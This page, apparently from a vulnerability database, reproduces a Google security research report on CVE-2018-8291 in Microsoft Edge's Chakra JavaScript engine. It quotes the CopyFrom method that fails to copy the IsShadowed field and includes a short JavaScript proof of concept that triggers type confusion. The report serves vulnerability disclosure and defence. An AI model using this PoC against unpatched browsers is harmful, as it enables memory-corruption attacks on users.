Lucene search
+L

Microsoft Edge Chakra DictionaryPropertyDescriptor::CopyFrom Failed Copy

🗓️ 17 Aug 2018 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 57 Views

Microsoft Edge Chakra DictionaryPropertyDescriptor::CopyFrom doesn't copy all fields, leading to type confusion exploi

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Microsoft Edge Chakra JIT - DictionaryPropertyDescriptor::CopyFrom Type Confusion Exploit
17 Aug 201800:00
–zdt
attackerkb
attackerkb
CVE-2018-8298
11 Jul 201800:00
–attackerkb
attackerkb
attackerkb
CVE-2018-8287
11 Jul 201800:00
–attackerkb
bdu_fstec
BDU FSTEC
Microsoft Edge Internet Explorer Code Execution
27 Dec 201800:00
–bdu_fstec
circl
Circl
CVE-2018-8291
17 Aug 201800:00
–circl
cnvd
CNVD
Microsoft Internet Explorer and Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2018-15436)
11 Jul 201800:00
–cnvd
checkpoint_advisories
Check Point Advisories
Microsoft Browser Scripting Engine Memory Corruption (CVE-2018-8291)
10 Jul 201800:00
–checkpoint_advisories
cve
CVE
CVE-2018-8291
11 Jul 201800:00
–cve
cvelist
Cvelist
CVE-2018-8283
11 Jul 201800:00
–cvelist
cvelist
Cvelist
CVE-2018-8291
11 Jul 201800:00
–cvelist
Rows per page
`Microsoft Edge: Chakra: DictionaryPropertyDescriptor::CopyFrom doesn't copy all fields   
  
CVE-2018-8291  
  
  
Here's the method.  
template <typename TPropertyIndex>  
template <typename TPropertyIndexFrom>  
void DictionaryPropertyDescriptor<TPropertyIndex>::CopyFrom(DictionaryPropertyDescriptor<TPropertyIndexFrom>& descriptor)  
{  
this->Attributes = descriptor.Attributes;  
this->Data = (descriptor.Data == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Data;  
this->Getter = (descriptor.Getter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Getter;  
this->Setter = (descriptor.Setter == DictionaryPropertyDescriptor<TPropertyIndexFrom>::NoSlots) ? NoSlots : descriptor.Setter;  
this->IsAccessor = descriptor.IsAccessor;  
  
#if ENABLE_FIXED_FIELDS  
this->IsInitialized = descriptor.IsInitialized;  
this->IsFixed = descriptor.IsFixed;  
this->UsedAsFixed = descriptor.UsedAsFixed;  
#endif  
}  
  
Given its name, I think that the method is supposed to copy all the fields from another descriptor to "this". But it actually leaves some fields uncopied. The "IsShadowed" field is one of them which indicates that a Let or Const variable has been declared in the global object with the same name as the name of a property of the global object. This lack of copying the "IsShadowed" field can lead to type confusion like in the PoC or uninitialized pointer dereference.  
  
PoC:  
let x = 1;  
  
this.x = 0x1234; // IsShadowed  
  
// Convert to BigDictionaryTypeHandler, CopyFrom will be used in the process.  
for (let i = 0; i < 0x10000; i++) {  
this['a' + i] = 1;  
}  
  
// Set IsAccessor  
this.__defineSetter__('x', () => {});  
  
// Type confusion  
this.x;  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation